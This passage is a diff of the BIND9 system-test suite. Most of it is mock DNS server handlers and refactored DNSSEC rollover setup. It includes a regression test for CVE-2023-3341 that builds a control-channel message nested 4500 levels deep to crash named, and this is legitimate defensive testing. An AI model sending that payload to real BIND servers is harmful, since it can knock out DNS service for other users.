StaticResponseHandler): + qnames = ["cname.sub.example.org."] + answer = [rrset(qnames[0], dns.rdatatype.CNAME, "ok.sub.example.org.")] + + +class FooBadDnameHandler(QnameHandler, StaticResponseHandler): + qnames = ["foo.baddname.example.net."] + answer = [ + rrset("baddname.example.net.", dns.rdatatype.DNAME, "baddname.example.org.") + ] + + +class FooBarSubTld1Handler(QnameHandler, StaticResponseHandler): + qnames = ["foo.bar.sub.tld1."] + answer = [rrset(qnames[0], dns.rdatatype.TXT, "baz")] + + +class FooGlueInAnswerHandler(QnameHandler, StaticResponseHandler): + qnames = ["foo.glue-in-answer.example.org."] + answer = [rrset(qnames[0], dns.rdatatype.A, "192.0.2.1")] + + +class FooGoodDnameHandler(QnameHandler, StaticResponseHandler): + qnames = ["foo.gooddname.example.net."] + answer = [ + rrset("gooddname.example.net.", dns.rdatatype.DNAME, "gooddname.example.org.") + ] + + +class GoodCnameHandler(QnameHandler, StaticResponseHandler): + qnames = ["goodcname.example.net."] + answer = [rrset(qnames[0], dns.rdatatype.CNAME, "goodcname.example.org.")] + + +class LameExampleOrgDelegation(DelegationHandler): + domains = ["lame.example.org."] + server_number = 3 + + +class LargeReferralHandler(QnameHandler, StaticResponseHandler): + qnames = ["large-referral.example.net."] + qtypes = [dns.rdatatype.NS] + authority = [ + rrset_from_list( + qnames[0], + dns.rdatatype.NS, + [f"ns{i}.fake.redirect.com." for i in range(1, 1000)], + ) + ] + + +class LongCnameHandler(ResponseHandler): + def match(self, qctx: QueryContext) -> bool: + return qctx.qname.labels[0].startswith(b"longcname") + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + first_label = qctx.qname.labels[0].replace(b"longcname", b"longcnamex") + cname_target = f"{dns.name.Name((first_label,) + qctx.qname.labels[1:])}" + qctx.response.answer.append( + rrset(qctx.qname, dns.rdatatype.CNAME, cname_target) + ) + yield DnsResponseSend(qctx.response) + + +class NodataHandler(QnameHandler, StaticResponseHandler): + qnames = ["nodata.example.net."] + + +class NoresponseHandler(QnameHandler, IgnoreAllQueries): + qnames = ["noresponse.example.net."] + + +class NsHandler(QnameHandler, StaticResponseHandler): + qnames = ["ns.example.net."] + answer = [rrset(qnames[0], dns.rdatatype.A, "10.53.0.3")] + + +class NxdomainHandler(QnameHandler, StaticResponseHandler): + qnames = ["nxdomain.example.net."] + rcode = dns.rcode.NXDOMAIN + + +class OkSubHandler(QnameHandler): + qnames = ["ok.sub.example.org.", "www.ok.sub.example.org."] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.answer.append(rrset(qctx.qname, dns.rdatatype.A, "192.0.2.1")) + yield DnsResponseSend(qctx.response) + + +class PartialFormerrHandler(DomainHandler): + domains = ["partial-formerr."] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.answer.append( + rrset(qctx.qname, dns.rdatatype.A, "10.53.0.3", ttl=1) + ) + yield DnsResponseSend(qctx.response) + + +class WwwDnameSubHandler(QnameHandler, StaticResponseHandler): + qnames = ["www.dname.sub.example.org."] + answer = [ + rrset("dname.sub.example.org.", dns.rdatatype.DNAME, "ok.sub.example.org.") + ] + + +class WwwHandler(QnameHandler): + qnames = ["www.example.net."] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + if qctx.qtype == dns.rdatatype.A: + qctx.response.answer.append(rrset(qctx.qname, dns.rdatatype.A, "192.0.2.1")) + elif qctx.qtype == dns.rdatatype.AAAA: + qctx.response.answer.append( + rrset(qctx.qname, dns.rdatatype.AAAA, "2001:db8:beef::1") + ) + yield DnsResponseSend(qctx.response) + + +class FallbackHandler(StaticResponseHandler): + answer = [rrset("www.example.com.", dns.rdatatype.A, "1.2.3.4")] + + +def main() -> None: + server = AsyncDnsServer(default_aa=True, default_rcode=dns.rcode.NOERROR) + server.install_response_handlers( + ApexNSHandler(), + BadCnameHandler(), + BadGoodDnameNsHandler(), + CnameSubHandler(), + FooBadDnameHandler(), + FooBarSubTld1Handler(), + FooGoodDnameHandler(), + FooGlueInAnswerHandler(), + Gl6412AHandler(), + Gl6412Handler(), + Gl6412Ns2Handler(), + Gl6412Ns3Handler(), + GoodCnameHandler(), + LameExampleOrgDelegation(), + LargeReferralHandler(), + LongCnameHandler(), + NodataHandler(), + NoresponseHandler(), + NsHandler(), + NxdomainHandler(), + OkSubHandler(), + PartialFormerrHandler(), + WwwDnameSubHandler(), + WwwHandler(), + ) + + server.install_response_handler(FallbackHandler()) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/resolver/ans8/ans.pl bind9-9.20.21/bin/tests/system/resolver/ans8/ans.pl --- bind9-9.20.18/bin/tests/system/resolver/ans8/ans.pl 2026-01-09 13:39:28.154974106 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/ans8/ans.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,177 +0,0 @@ -#!/usr/bin/perl - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -use IO::File; -use IO::Socket; -use Data::Dumper; -use Net::DNS; -use Net::DNS::Packet; -use strict; - -# Ignore SIGPIPE so we won't fail if peer closes a TCP socket early -local $SIG{PIPE} = 'IGNORE'; - -# Flush logged output after every line -local $| = 1; - -my $server_addr = "10.53.0.8"; - -my $localport = int($ENV{'PORT'}); -if (!$localport) { $localport = 5300; } - -my $udpsock = IO::Socket::INET->new(LocalAddr => "$server_addr", - LocalPort => $localport, Proto => "udp", Reuse => 1) or die "$!"; -my $tcpsock = IO::Socket::INET->new(LocalAddr => "$server_addr", - LocalPort => $localport, Proto => "tcp", Listen => 5, Reuse => 1) or die "$!"; - -print "listening on $server_addr:$localport.\n"; - -my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!"; -print $pidf "$$\n" or die "cannot write pid file: $!"; -$pidf->close or die "cannot close pid file: $!";; -sub rmpid { unlink "ans.pid"; exit 1; }; - -$SIG{INT} = \&rmpid; -$SIG{TERM} = \&rmpid; - -sub handleUDP { - my ($buf) = @_; - my $request; - - if ($Net::DNS::VERSION > 0.68) { - $request = new Net::DNS::Packet(\$buf, 0); - $@ and die $@; - } else { - my $err; - ($request, $err) = new Net::DNS::Packet(\$buf, 0); - $err and die $err; - } - - my @questions = $request->question; - my $qname = $questions[0]->qname; - my $qtype = $questions[0]->qtype; - my $qclass = $questions[0]->qclass; - my $id = $request->header->id; - - my $response = new Net::DNS::Packet($qname, $qtype, $qclass); - $response->header->qr(1); - $response->header->aa(1); - $response->header->tc(0); - $response->header->id($id); - - # Responses to queries for no-questions/NS and ns.no-questions/A are - # _not_ malformed or truncated. - if ($qname eq "no-questions" && $qtype eq "NS") { - $response->push("answer", new Net::DNS::RR($qname . " 300 NS ns.no-questions")); - $response->push("additional", new Net::DNS::RR("ns.no-questions. 300 A 10.53.0.8")); - return $response->data; - } elsif ($qname eq "ns.no-questions") { - $response->push("answer", new Net::DNS::RR($qname . " 300 A 10.53.0.8")) - if ($qtype eq "A"); - return $response->data; - } elsif ($qname =~ /\.formerr-to-all$/) { - $response->header->rcode("FORMERR"); - return $response->data; - } - - # don't use Net::DNS to construct the header only reply as early - # versions just get it completely wrong. - - if ($qname eq "truncated.no-questions") { - # QR, AA, TC: forces TCP retry - return (pack("nnnnnn", $id, 0x8600, 0, 0, 0, 0)); - } elsif ($qname eq "tcpalso.no-questions") { - # QR, REFUSED: forces TCP retry - return (pack("nnnnnn", $id, 0x8205, 0, 0, 0, 0)); - } - # QR, AA - return (pack("nnnnnn", $id, 0x8400, 0, 0, 0, 0)); -} - -sub handleTCP { - my ($buf) = @_; - my $request; - - if ($Net::DNS::VERSION > 0.68) { - $request = new Net::DNS::Packet(\$buf, 0); - $@ and die $@; - } else { - my $err; - ($request, $err) = new Net::DNS::Packet(\$buf, 0); - $err and die $err; - } - - my @questions = $request->question; - my $qname = $questions[0]->qname; - my $qtype = $questions[0]->qtype; - my $qclass = $questions[0]->qclass; - my $id = $request->header->id; - - my @results = (); - my $response = new Net::DNS::Packet($qname, $qtype, $qclass); - - $response->header->qr(1); - $response->header->aa(1); - $response->header->id($id); - $response->push("answer", new Net::DNS::RR("$qname 300 A 1.2.3.4")); - - if ($qname eq "tcpalso.no-questions") { - # for this qname we also return a bad reply over TCP - # QR, REFUSED, no question section - push (@results, pack("nnnnnn", $id, 0x8005, 0, 0, 0, 0)); - } else { - push(@results, $response->data); - } - - return \@results; -} - -# Main -my $rin; -my $rout; -for (;;) { - $rin = ''; - vec($rin, fileno($tcpsock), 1) = 1; - vec($rin, fileno($udpsock), 1) = 1; - - select($rout = $rin, undef, undef, undef); - - if (vec($rout, fileno($udpsock), 1)) { - printf "UDP request\n"; - my $buf; - $udpsock->recv($buf, 512); - my $result = handleUDP($buf); - my $num_chars = $udpsock->send($result); - print " Sent $num_chars bytes via UDP\n"; - } elsif (vec($rout, fileno($tcpsock), 1)) { - my $conn = $tcpsock->accept; - my $buf; - for (;;) { - my $lenbuf; - my $n = $conn->sysread($lenbuf, 2); - last unless $n == 2; - my $len = unpack("n", $lenbuf); - $n = $conn->sysread($buf, $len); - last unless $n == $len; - print "TCP request\n"; - my $result = handleTCP($buf); - foreach my $response (@$result) { - $len = length($response); - $n = $conn->syswrite(pack("n", $len), 2); - $n = $conn->syswrite($response, $len); - print " Sent: $n chars via TCP\n"; - } - } - $conn->close; - } -} diff -Nru bind9-9.20.18/bin/tests/system/resolver/ans8/ans.py bind9-9.20.21/bin/tests/system/resolver/ans8/ans.py --- bind9-9.20.18/bin/tests/system/resolver/ans8/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/ans8/ans.py 2026-03-13 22:01:10.697877475 +0000 @@ -0,0 +1,144 @@ +""" +Copyright (C) Internet Systems Consortium, Inc. ("ISC") + +SPDX-License-Identifier: MPL-2.0 + +This Source Code Form is subject to the terms of the Mozilla Public +License, v. 2.0. If a copy of the MPL was not distributed with this +file, you can obtain one at https://mozilla.org/MPL/2.0/. + +See the COPYRIGHT file distributed with this work for additional +information regarding copyright ownership. +""" + +from collections.abc import AsyncGenerator + +import abc + +import dns.flags +import dns.message +import dns.rcode +import dns.rdatatype + +from isctest.asyncserver import ( + AsyncDnsServer, + DnsProtocol, + DnsResponseSend, + DomainHandler, + QnameHandler, + QnameQtypeHandler, + QueryContext, + ResponseHandler, + StaticResponseHandler, +) + +from ..resolver_ans import rrset + + +class HeaderOnlyHandler(ResponseHandler): + """ + Return an empty DNS message with only header flags set. + """ + + @property + @abc.abstractmethod + def flags(self) -> dns.flags.Flag: + raise NotImplementedError + + @property + def rcode(self) -> dns.rcode.Rcode: + return dns.rcode.NOERROR + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + message = dns.message.Message(id=qctx.query.id) + message.use_edns(False) + message.flags = self.flags + message.set_rcode(self.rcode) + yield DnsResponseSend(message, acknowledge_hand_rolled_response=True) + + +class RefusedOnTcpHandler(QnameHandler, HeaderOnlyHandler): + qnames = ["tcpalso.no-questions."] + flags = dns.flags.QR + rcode = dns.rcode.REFUSED + + def match(self, qctx: QueryContext) -> bool: + return qctx.protocol == DnsProtocol.TCP and super().match(qctx) + + +class TcpFallbackHandler(ResponseHandler): + def match(self, qctx: QueryContext) -> bool: + return qctx.protocol == DnsProtocol.TCP + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.answer.append(rrset(qctx.qname, dns.rdatatype.A, "1.2.3.4")) + yield DnsResponseSend(qctx.response) + + +class FormerrToAllHandler(DomainHandler, StaticResponseHandler): + domains = ["formerr-to-all."] + rcode = dns.rcode.FORMERR + + +class NoQuestionsNSHandler(QnameQtypeHandler, StaticResponseHandler): + qnames = ["no-questions."] + qtypes = [dns.rdatatype.NS] + answer = [rrset(qnames[0], dns.rdatatype.NS, f"ns.{qnames[0]}")] + additional = [rrset(f"ns.{qnames[0]}", dns.rdatatype.A, "10.53.0.8")] + + +class NsNoQuestionsAHandler(QnameHandler): + qnames = ["ns.no-questions."] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + if qctx.qtype == dns.rdatatype.A: + a_rrset = rrset(qctx.qname, dns.rdatatype.A, "10.53.0.8") + qctx.response.answer.append(a_rrset) + yield DnsResponseSend(qctx.response) + + +class TcpalsoNoQuestionsHandler(QnameHandler, HeaderOnlyHandler): + qnames = ["tcpalso.no-questions."] + flags = dns.flags.QR | dns.flags.TC + rcode = dns.rcode.REFUSED + + +class TruncatedNoQuestionsHandler(QnameHandler, HeaderOnlyHandler): + qnames = ["truncated.no-questions."] + flags = dns.flags.QR | dns.flags.AA | dns.flags.TC + + +class FallbackHandler(HeaderOnlyHandler): + flags = dns.flags.QR | dns.flags.AA + + +def main() -> None: + server = AsyncDnsServer(default_aa=True, default_rcode=dns.rcode.NOERROR) + + # Install TCP handlers first so they take precedence + server.install_response_handlers( + RefusedOnTcpHandler(), + TcpFallbackHandler(), + ) + + # Install UDP handlers + server.install_response_handlers( + FormerrToAllHandler(), + NoQuestionsNSHandler(), + NsNoQuestionsAHandler(), + TcpalsoNoQuestionsHandler(), + TruncatedNoQuestionsHandler(), + ) + server.install_response_handler(FallbackHandler()) + + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/resolver/resolver_ans.py bind9-9.20.21/bin/tests/system/resolver/resolver_ans.py --- bind9-9.20.18/bin/tests/system/resolver/resolver_ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/resolver_ans.py 2026-03-13 22:01:10.700877379 +0000 @@ -0,0 +1,145 @@ +""" +Copyright (C) Internet Systems Consortium, Inc. ("ISC") + +SPDX-License-Identifier: MPL-2.0 + +This Source Code Form is subject to the terms of the Mozilla Public +License, v. 2.0. If a copy of the MPL was not distributed with this +file, you can obtain one at https://mozilla.org/MPL/2.0/. + +See the COPYRIGHT file distributed with this work for additional +information regarding copyright ownership. +""" + +from collections.abc import AsyncGenerator +from typing import NamedTuple + +import abc + +import dns.name +import dns.rdataclass +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import ( + DnsResponseSend, + DomainHandler, + QnameHandler, + QueryContext, +) + + +def rrset( + qname: dns.name.Name | str, + rtype: dns.rdatatype.RdataType, + rdata: str, + ttl: int = 300, +) -> dns.rrset.RRset: + return dns.rrset.from_text(qname, ttl, dns.rdataclass.IN, rtype, rdata) + + +def rrset_from_list( + qname: dns.name.Name | str, + rtype: dns.rdatatype.RdataType, + rdata_list: list[str], + ttl: int = 300, +) -> dns.rrset.RRset: + return dns.rrset.from_text_list(qname, ttl, dns.rdataclass.IN, rtype, rdata_list) + + +def soa_rrset(qname: dns.name.Name | str) -> dns.rrset.RRset: + return rrset(qname, dns.rdatatype.SOA, ". . 0 0 0 0 0") + + +class DelegationRRsets(NamedTuple): + ns_rrset: dns.rrset.RRset + a_rrset: dns.rrset.RRset + + +def delegation_rrsets( + owner: dns.name.Name | str, + server_number: int, + ns_name: dns.name.Name | str | None = None, +) -> DelegationRRsets: + if ns_name is None: + ns_name = f"ns.{owner}" + ns_rrset = rrset(owner, dns.rdatatype.NS, f"{ns_name}") + a_rrset = rrset(ns_name, dns.rdatatype.A, f"10.53.0.{server_number}") + return DelegationRRsets(ns_rrset, a_rrset) + + +def setup_delegation( + qctx: QueryContext, owner: dns.name.Name | str, server_number: int +) -> None: + delegation = delegation_rrsets(owner, server_number) + qctx.response.authority.append(delegation.ns_rrset) + qctx.response.additional.append(delegation.a_rrset) + + +class DelegationHandler(DomainHandler): + @property + @abc.abstractmethod + def server_number(self) -> int: + raise NotImplementedError + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + setup_delegation(qctx, self.matched_domain, self.server_number) + yield DnsResponseSend(qctx.response, authoritative=False) + + +class Gl6412AHandler(QnameHandler): + qnames = ["a.gl6412.", "a.a.gl6412."] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.authority.append(soa_rrset(qctx.qname)) + yield DnsResponseSend(qctx.response) + + +class Gl6412Handler(QnameHandler): + qnames = ["gl6412."] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + if qctx.qtype == dns.rdatatype.SOA: + qctx.response.answer.append(soa_rrset(qctx.qname)) + elif qctx.qtype == dns.rdatatype.NS: + ns2_rrset = rrset(qctx.qname, dns.rdatatype.NS, f"ns2.{qctx.qname}") + ns3_rrset = rrset(qctx.qname, dns.rdatatype.NS, f"ns3.{qctx.qname}") + qctx.response.answer.append(ns2_rrset) + qctx.response.answer.append(ns3_rrset) + else: + qctx.response.authority.append(soa_rrset(qctx.qname)) + yield DnsResponseSend(qctx.response) + + +class Gl6412Ns2Handler(QnameHandler): + qnames = ["ns2.gl6412."] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + if qctx.qtype == dns.rdatatype.A: + a_rrset = rrset(qctx.qname, dns.rdatatype.A, "10.53.0.2") + qctx.response.answer.append(a_rrset) + else: + qctx.response.authority.append(soa_rrset(qctx.qname)) + yield DnsResponseSend(qctx.response) + + +class Gl6412Ns3Handler(QnameHandler): + qnames = ["ns3.gl6412."] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + if qctx.qtype == dns.rdatatype.A: + a_rrset = rrset(qctx.qname, dns.rdatatype.A, "10.53.0.3") + qctx.response.answer.append(a_rrset) + else: + qctx.response.authority.append(soa_rrset(qctx.qname)) + yield DnsResponseSend(qctx.response) diff -Nru bind9-9.20.18/bin/tests/system/resolver/tests_resolver.py bind9-9.20.21/bin/tests/system/resolver/tests_resolver.py --- bind9-9.20.18/bin/tests/system/resolver/tests_resolver.py 2026-01-09 13:39:28.157974185 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/tests_resolver.py 2026-03-13 22:01:10.701877347 +0000 @@ -11,7 +11,6 @@ import time - import isctest diff -Nru bind9-9.20.18/bin/tests/system/resolver/tests_sh_resolver.py bind9-9.20.21/bin/tests/system/resolver/tests_sh_resolver.py --- bind9-9.20.18/bin/tests/system/resolver/tests_sh_resolver.py 2026-01-09 13:39:28.157974185 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/tests_sh_resolver.py 2026-03-13 22:01:10.701877347 +0000 @@ -11,7 +11,6 @@ import pytest - pytestmark = pytest.mark.extra_artifacts( [ ".digrc", diff -Nru bind9-9.20.18/bin/tests/system/rfc5011/tests_rfc5011.py bind9-9.20.21/bin/tests/system/rfc5011/tests_rfc5011.py --- bind9-9.20.18/bin/tests/system/rfc5011/tests_rfc5011.py 2026-01-09 13:39:28.158974211 +0000 +++ bind9-9.20.21/bin/tests/system/rfc5011/tests_rfc5011.py 2026-03-13 22:01:10.701877347 +0000 @@ -10,6 +10,7 @@ # information regarding copyright ownership. import pytest + from isctest.mark import live_internet_test pytestmark = pytest.mark.extra_artifacts( diff -Nru bind9-9.20.18/bin/tests/system/rndc/tests_cve-2023-3341.py bind9-9.20.21/bin/tests/system/rndc/tests_cve-2023-3341.py --- bind9-9.20.18/bin/tests/system/rndc/tests_cve-2023-3341.py 2026-01-09 13:39:28.159974238 +0000 +++ bind9-9.20.21/bin/tests/system/rndc/tests_cve-2023-3341.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,70 +0,0 @@ -#!/usr/bin/python3 - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -import socket -import time - -import pytest - -import isctest - - -pytestmark = pytest.mark.extra_artifacts( - [ - "ns2/nil.db", - "ns2/other.db", - "ns2/secondkey.conf", - "ns2/static.db", - "ns4/example.db", - "ns4/key*.conf", - "ns6/huge.zone.db", - "ns7/include.db", - "ns7/test.db", - ] -) - - -def test_cve_2023_3341(control_port): - depth = 4500 - # Should not be more than isccc_ccmsg_setmaxsize(&conn->ccmsg, 32768) - total_len = 10 + (depth * 7) - 6 - - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - data = b"".join( - [ - total_len.to_bytes(4, "big"), # - b"\x00\x00\x00\x01", # - b"\x01\x41", # - ] - ) - - for i in range(depth, 0, -1): - l = (i - 1) * 7 - t = b"".join( - [ - b"\x02", # ISCCC_CCMSGTYPE_TABLE - l.to_bytes(4, "big"), # - b"\x01\x41", # - ] - ) - data = b"".join([data, t]) - - s.connect(("10.53.0.2", control_port)) - s.sendall(data) - - # Wait for named to (possibly) crash - time.sleep(10) - - msg = isctest.query.create("version.bind", "TXT", "CH") - res = isctest.query.udp(msg, "10.53.0.2") - isctest.check.noerror(res) diff -Nru bind9-9.20.18/bin/tests/system/rndc/tests_cve_2023_3341.py bind9-9.20.21/bin/tests/system/rndc/tests_cve_2023_3341.py --- bind9-9.20.18/bin/tests/system/rndc/tests_cve_2023_3341.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/rndc/tests_cve_2023_3341.py 2026-03-13 22:01:10.703877283 +0000 @@ -0,0 +1,69 @@ +#!/usr/bin/python3 + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import socket +import time + +import pytest + +import isctest + +pytestmark = pytest.mark.extra_artifacts( + [ + "ns2/nil.db", + "ns2/other.db", + "ns2/secondkey.conf", + "ns2/static.db", + "ns4/example.db", + "ns4/key*.conf", + "ns6/huge.zone.db", + "ns7/include.db", + "ns7/test.db", + ] +) + + +def test_cve_2023_3341(control_port): + depth = 4500 + # Should not be more than isccc_ccmsg_setmaxsize(&conn->ccmsg, 32768) + total_len = 10 + (depth * 7) - 6 + + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + data = b"".join( + [ + total_len.to_bytes(4, "big"), # + b"\x00\x00\x00\x01", # + b"\x01\x41", # + ] + ) + + for i in range(depth, 0, -1): + l = (i - 1) * 7 + t = b"".join( + [ + b"\x02", # ISCCC_CCMSGTYPE_TABLE + l.to_bytes(4, "big"), # + b"\x01\x41", # + ] + ) + data = b"".join([data, t]) + + s.connect(("10.53.0.2", control_port)) + s.sendall(data) + + # Wait for named to (possibly) crash + time.sleep(10) + + msg = isctest.query.create("version.bind", "TXT", "CH") + res = isctest.query.udp(msg, "10.53.0.2") + isctest.check.noerror(res) diff -Nru bind9-9.20.18/bin/tests/system/rollover/common.py bind9-9.20.21/bin/tests/system/rollover/common.py --- bind9-9.20.18/bin/tests/system/rollover/common.py 2026-01-09 13:39:28.166974421 +0000 +++ bind9-9.20.21/bin/tests/system/rollover/common.py 2026-03-13 22:01:10.709877091 +0000 @@ -10,14 +10,12 @@ # information regarding copyright ownership. from datetime import timedelta -import os import pytest from isctest.kasp import Ipub, IpubC, Iret -from isctest.vars.algorithms import Algorithm -pytestmark = pytest.mark.extra_artifacts( +ROLLOVER_MARK = pytest.mark.extra_artifacts( [ "*.axfr*", "dig.out*", @@ -130,21 +128,3 @@ KSK_IPUBC = IpubC(KSK_CONFIG) KSK_IRET = Iret(KSK_CONFIG, zsk=False, ksk=True) KSK_KEYTTLPROP = KSK_CONFIG["dnskey-ttl"] + KSK_CONFIG["zone-propagation-delay"] - - -@pytest.fixture -def alg(): - return os.environ["DEFAULT_ALGORITHM_NUMBER"] - - -@pytest.fixture -def size(): - return os.environ["DEFAULT_BITS"] - - -def default_algorithm(): - return Algorithm( - os.environ["DEFAULT_ALGORITHM"], - int(os.environ["DEFAULT_ALGORITHM_NUMBER"]), - int(os.environ["DEFAULT_BITS"]), - ) diff -Nru bind9-9.20.18/bin/tests/system/rollover/setup.py bind9-9.20.21/bin/tests/system/rollover/setup.py --- bind9-9.20.18/bin/tests/system/rollover/setup.py 2026-01-09 13:39:28.167974448 +0000 +++ bind9-9.20.21/bin/tests/system/rollover/setup.py 2026-03-13 22:01:10.710877059 +0000 @@ -10,18 +10,18 @@ # information regarding copyright ownership. import shutil -from typing import List -import isctest from isctest.kasp import private_type_record -from isctest.template import Nameserver, TrustAnchor, Zone from isctest.run import EnvCmd -from rollover.common import default_algorithm +from isctest.template import Nameserver, TrustAnchor, Zone +from isctest.vars.algorithms import Algorithm + +import isctest -def configure_tld(zonename: str, delegations: List[Zone]) -> Zone: +def configure_tld(zonename: str, delegations: list[Zone]) -> Zone: templates = isctest.template.TemplateEngine(".") - alg = default_algorithm() + alg = Algorithm.default() keygen = EnvCmd("KEYGEN", f"-q -a {alg.number} -b {alg.bits} -L 3600") signer = EnvCmd("SIGNER", "-S -g") @@ -53,9 +53,9 @@ return Zone(zonename, f"{outfile}.signed", Nameserver("ns2", "10.53.0.2")) -def configure_root(delegations: List[Zone]) -> TrustAnchor: +def configure_root(delegations: list[Zone]) -> TrustAnchor: templates = isctest.template.TemplateEngine(".") - alg = default_algorithm() + alg = Algorithm.default() keygen = EnvCmd("KEYGEN", f"-q -a {alg.number} -b {alg.bits} -L 3600") signer = EnvCmd("SIGNER", "-S -g") @@ -108,7 +108,7 @@ def render_and_sign_zone( - zonename: str, keys: List[str], signing: bool = True, extra_options: str = "" + zonename: str, keys: list[str], signing: bool = True, extra_options: str = "" ): dnskeys = [] privaterrs = [] @@ -135,7 +135,7 @@ ) -def configure_algo_csk(tld: str, policy: str, reconfig: bool = False) -> List[Zone]: +def configure_algo_csk(tld: str, policy: str, reconfig: bool = False) -> list[Zone]: # The zones at csk-algorithm-roll.$tld represent the various steps # of a CSK algorithm rollover. zones = [] @@ -283,7 +283,7 @@ return zones -def configure_algo_ksk_zsk(tld: str, reconfig: bool = False) -> List[Zone]: +def configure_algo_ksk_zsk(tld: str, reconfig: bool = False) -> list[Zone]: # The zones at algorithm-roll.$tld represent the various steps of a ZSK/KSK # algorithm rollover. zones = [] @@ -539,7 +539,7 @@ return zones -def configure_cskroll1(tld: str, policy: str) -> List[Zone]: +def configure_cskroll1(tld: str, policy: str) -> list[Zone]: # The zones at csk-roll1.$tld represent the various steps of a CSK rollover # (which is essentially a ZSK Pre-Publication / KSK Double-KSK rollover). zones = [] @@ -868,7 +868,7 @@ return zones -def configure_cskroll2(tld: str, policy: str) -> List[Zone]: +def configure_cskroll2(tld: str, policy: str) -> list[Zone]: # The zones at csk-roll2.$tld represent the various steps of a CSK rollover # (which is essentially a ZSK Pre-Publication / KSK Double-KSK rollover). # This scenario differs from the csk-roll1 one because the zone signatures (ZRRSIG) @@ -1212,7 +1212,7 @@ return zones -def configure_enable_dnssec(tld: str, policy: str) -> List[Zone]: +def configure_enable_dnssec(tld: str, policy: str) -> list[Zone]: # The zones at enable-dnssec.$tld represent the various steps of the # initial signing of a zone. zones = [] @@ -1292,7 +1292,7 @@ return zones -def configure_going_insecure(tld: str, reconfig: bool = False) -> List[Zone]: +def configure_going_insecure(tld: str, reconfig: bool = False) -> list[Zone]: zones = [] keygen = EnvCmd("KEYGEN", "-a ECDSA256 -L 7200") settime = EnvCmd("SETTIME", "-s") @@ -1360,7 +1360,7 @@ return zones -def configure_straight2none(tld: str) -> List[Zone]: +def configure_straight2none(tld: str) -> list[Zone]: # These zones are going straight to "none" policy. This is undefined behavior. zones = [] keygen = EnvCmd("KEYGEN", "-k default") @@ -1399,7 +1399,7 @@ return zones -def configure_ksk_doubleksk(tld: str) -> List[Zone]: +def configure_ksk_doubleksk(tld: str) -> list[Zone]: # The zones at ksk-doubleksk.$tld represent the various steps of a KSK # Double-KSK rollover. zones = [] @@ -1666,7 +1666,7 @@ return zones -def configure_ksk_3crowd(tld: str) -> List[Zone]: +def configure_ksk_3crowd(tld: str) -> list[Zone]: # Test #2375, the "three is a crowd" bug, where a new key is introduced but the # previous rollover has not finished yet. In other words, we have a key KEY2 # that is the successor of key KEY1, and we introduce a new key KEY3 that is @@ -1727,7 +1727,7 @@ return zones -def configure_zsk_prepub(tld: str) -> List[Zone]: +def configure_zsk_prepub(tld: str) -> list[Zone]: # The zones at zsk-prepub.$tld represent the various steps of a ZSK # Pre-Publication rollover. zones = [] diff -Nru bind9-9.20.18/bin/tests/system/rollover/tests_rollover_manual.py bind9-9.20.21/bin/tests/system/rollover/tests_rollover_manual.py --- bind9-9.20.18/bin/tests/system/rollover/tests_rollover_manual.py 2026-01-09 13:39:28.167974448 +0000 +++ bind9-9.20.21/bin/tests/system/rollover/tests_rollover_manual.py 2026-03-13 22:01:10.710877059 +0000 @@ -10,24 +10,23 @@ # information regarding copyright ownership. from datetime import timedelta -import os -import isctest -from isctest.kasp import KeyTimingMetadata, Ipub, Iret, private_type_record -from isctest.template import Nameserver, Zone +from isctest.kasp import Ipub, Iret, KeyTimingMetadata, private_type_record from isctest.run import EnvCmd +from isctest.template import Nameserver, Zone +from isctest.vars.algorithms import Algorithm +from rollover.setup import configure_root, configure_tld -from rollover.common import default_algorithm -from rollover.setup import ( - 